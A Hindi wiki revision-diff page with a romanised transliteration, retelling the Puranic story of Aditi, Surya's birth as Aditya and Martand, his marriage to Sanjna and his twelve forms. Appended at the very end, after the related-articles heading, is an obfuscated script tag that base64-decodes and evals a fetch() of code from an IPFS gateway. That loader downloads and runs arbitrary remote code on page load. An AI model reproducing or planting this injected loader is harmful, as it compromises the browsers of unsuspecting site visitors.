Difference between revisions of "आदित्य देवता"

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*[[ब्रह्मा]] के [[मरीचि]] नामक पुत्र थे। उनके पुत्र का नाम [[कश्यप]] हुआ। कश्यप का विवाह [[दक्ष]] की तेरह कन्याओं से हुआ था। प्रत्येक कन्या का संतति विशिष्ट वर्ग की हुई। उदाहरणत:  
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*[[ब्रह्मा]] के [[मरीचि]] नामक पुत्र थे। उनके पुत्र का नाम [[कश्यप]] हुआ। कश्यप का विवाह [[दक्ष]] की तेरह कन्याओं से हुआ था। प्रत्येक कन्या से विशिष्ट वर्ग की संतति हुई। उदाहरणत: <br />
*[[अदिति]] ने [[देवता|देवताओं]] को जन्म दिया तथा [[दिति]] ने दैत्यों को।  
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[[अदिति]] ने [[देवता|देवताओं]] को जन्म दिया तथा [[दिति]] ने दैत्यों को। इसी प्रकार दनु से दानव, विनता से [[गरुड़]] और [[अरुण देवता|अरुण]], कद्रू से नाग मुनि तथा गंधर्व, रवसा से यक्ष और राक्षस, क्रोध से कुल्याएं, अरिष्टा से अप्सराएं, इरा से [[ऐरावत]] हाथी, श्येनी से श्येन तथा भास, शुक आदि पक्षी उत्पन्न हुए।  
*इसी प्रकार दनु से दानव,  
 
*विनता से [[गरुड़]] और [[अरुण देवता|अरुण]],  
 
*कद्रू से नाग मुनि तथा गंधर्व,  
 
*रवसा से यक्ष और राक्षस,  
 
*क्रोध से कुल्याएं,  
 
*अरिष्टा से अप्सराएं,  
 
*इरा से [[ऐरावत]] हाथी,  
 
*श्येनी से श्येन तथा भास, शुक आदि पक्षी उत्पन्न हुए।  
 
 
*दैत्य दानव और राक्षस विमाता-पुत्र देवताओं से ईर्ष्या को अनुभव करते थे; अत: उन लोगों का परस्पर संघर्ष होता रहता था। एक बार वर्षों तक पारस्परिक युद्ध के उपरांत देवता पराजित हो गये। अदिति ने दुखी होकर [[सूर्य देवता|सूर्य]] की आराधना की। सूर्य ने सहस्त्र अंशों सहित अदिति के गर्भ से जन्म लेकर असुरों को परास्त कर देवताओं को त्रिलोक का राज्य पुन: दिलाने का आश्वासन दिया। अदिति गर्भकाल में भी पूजापाठ, व्रत में लगी रहती थी। एक बार कश्यप ने रुष्ट होकर कहा-'यह व्रत रखकर तुम गर्भस्थ अंडे को मार डालना चाहती हो क्या?'  
 
*दैत्य दानव और राक्षस विमाता-पुत्र देवताओं से ईर्ष्या को अनुभव करते थे; अत: उन लोगों का परस्पर संघर्ष होता रहता था। एक बार वर्षों तक पारस्परिक युद्ध के उपरांत देवता पराजित हो गये। अदिति ने दुखी होकर [[सूर्य देवता|सूर्य]] की आराधना की। सूर्य ने सहस्त्र अंशों सहित अदिति के गर्भ से जन्म लेकर असुरों को परास्त कर देवताओं को त्रिलोक का राज्य पुन: दिलाने का आश्वासन दिया। अदिति गर्भकाल में भी पूजापाठ, व्रत में लगी रहती थी। एक बार कश्यप ने रुष्ट होकर कहा-'यह व्रत रखकर तुम गर्भस्थ अंडे को मार डालना चाहती हो क्या?'  
*इस कारण से सूर्य 'मार्तंड' कहलाया। '''कालांतर में सूर्य ने अदिति की कोख से जन्म लिया, इस कारण से आदित्य कहलाया।''' सूर्य की क्रूर दृष्टि के [[तेज]] से दग्ध होकर असुर भस्म हो गये। देवताओं को उनका खोया हुआ राज्य पुन: प्राप्त हो गया। [[विश्वकर्मा]] ने प्रसन्न होकर अपनी पुत्री [[संज्ञा (सूर्य की पत्नी)|संज्ञा]]] का विवाह सूर्य (विवस्वान) से कर दिया। <ref>वैवस्वत मनु मा0 पु0, 99-102</ref>
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*इस कारण से सूर्य 'मार्तंड' कहलाया। '''कालांतर में सूर्य ने अदिति की कोख से जन्म लिया, इस कारण से आदित्य कहलाया।''' सूर्य की क्रूर दृष्टि के [[तेज]] से दग्ध होकर असुर भस्म हो गये। देवताओं को उनका खोया हुआ राज्य पुन: प्राप्त हो गया। [[विश्वकर्मा]] ने प्रसन्न होकर अपनी पुत्री [[संज्ञा (सूर्य की पत्नी)|संज्ञा]] का विवाह सूर्य (विवस्वान) से कर दिया। <ref>वैवस्वत मनु मा0 पु0, 99-102</ref>
 
*सूर्य की बारह मूर्तियां हैं: इन्द्र, धाता, पर्जन्य, त्वष्टा, पूषा, अर्यमा, [[भग]], विवस्वान विष्णु, अंश, वरुण और मित्र। ये मूर्तियां क्रमश: देवराजत्व, विविध प्रजा सृष्टि, बादलों, औषधि, वनस्पतियों, अन्न, [[वायु देव|वायु]] संचालन, देहधारी शरीरों, [[अग्निदेव|अग्नि]], अवतरण, वायु-आनंद, [[जल]] तथा चंद्र सरोवर के तट पर स्थित हैं एक बार मित्र तथा [[वरुण देवता|वरुण]] को तपस्या करता देख [[नारद]] बहुत विस्मित हुए। उन्होंने मित्र से पूछा-'आप दोनों तो स्वयं पूजनीय हैं, फिर किसकी पूजा कर रहे हैं?' मित्र ने उत्तर दिया-'''सर्वोपरि स्थान सत-असत रूप देवपितृकर्म में पूजित [[ब्रह्मा]] का है, उसी की हम पूजा कर रहे हैं।'''
 
*सूर्य की बारह मूर्तियां हैं: इन्द्र, धाता, पर्जन्य, त्वष्टा, पूषा, अर्यमा, [[भग]], विवस्वान विष्णु, अंश, वरुण और मित्र। ये मूर्तियां क्रमश: देवराजत्व, विविध प्रजा सृष्टि, बादलों, औषधि, वनस्पतियों, अन्न, [[वायु देव|वायु]] संचालन, देहधारी शरीरों, [[अग्निदेव|अग्नि]], अवतरण, वायु-आनंद, [[जल]] तथा चंद्र सरोवर के तट पर स्थित हैं एक बार मित्र तथा [[वरुण देवता|वरुण]] को तपस्या करता देख [[नारद]] बहुत विस्मित हुए। उन्होंने मित्र से पूछा-'आप दोनों तो स्वयं पूजनीय हैं, फिर किसकी पूजा कर रहे हैं?' मित्र ने उत्तर दिया-'''सर्वोपरि स्थान सत-असत रूप देवपितृकर्म में पूजित [[ब्रह्मा]] का है, उसी की हम पूजा कर रहे हैं।'''
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==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==

Revision as of 13:31, 27 August 2011

  • brahma ke marichi namak putr the. unake putr ka nam kashyap hua. kashyap ka vivah daksh ki terah kanyaoan se hua tha. pratyek kanya se vishisht varg ki santati huee. udaharanat:

aditi ne devataoan ko janm diya tatha diti ne daityoan ko. isi prakar danu se danav, vinata se garu d aur arun, kadroo se nag muni tatha gandharv, ravasa se yaksh aur rakshas, krodh se kulyaean, arishta se apsaraean, ira se airavat hathi, shyeni se shyen tatha bhas, shuk adi pakshi utpann hue.

  • daity danav aur rakshas vimata-putr devataoan se eershya ko anubhav karate the; at: un logoan ka paraspar sangharsh hota rahata tha. ek bar varshoan tak parasparik yuddh ke uparaant devata parajit ho gaye. aditi ne dukhi hokar soory ki aradhana ki. soory ne sahastr aanshoan sahit aditi ke garbh se janm lekar asuroan ko parast kar devataoan ko trilok ka rajy pun: dilane ka ashvasan diya. aditi garbhakal mean bhi poojapath, vrat mean lagi rahati thi. ek bar kashyap ne rusht hokar kaha-'yah vrat rakhakar tum garbhasth aande ko mar dalana chahati ho kya?'
  • is karan se soory 'martand' kahalaya. kalaantar mean soory ne aditi ki kokh se janm liya, is karan se adity kahalaya. soory ki kroor drishti ke tej se dagdh hokar asur bhasm ho gaye. devataoan ko unaka khoya hua rajy pun: prapt ho gaya. vishvakarma ne prasann hokar apani putri sanjna ka vivah soory (vivasvan) se kar diya. [1]
  • soory ki barah moortiyaan haian: indr, dhata, parjany, tvashta, poosha, aryama, bhag, vivasvan vishnu, aansh, varun aur mitr. ye moortiyaan kramash: devarajatv, vividh praja srishti, badaloan, aushadhi, vanaspatiyoan, ann, vayu sanchalan, dehadhari shariroan, agni, avataran, vayu-anand, jal tatha chandr sarovar ke tat par sthit haian ek bar mitr tatha varun ko tapasya karata dekh narad bahut vismit hue. unhoanne mitr se poochha-'ap donoan to svayan poojaniy haian, phir kisaki pooja kar rahe haian?' mitr ne uttar diya-sarvopari sthan sat-asat roop devapitrikarm mean poojit brahma ka hai, usi ki ham pooja kar rahe haian.


tika tippani aur sandarbh

  1. vaivasvat manu ma0 pu0, 99-102

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>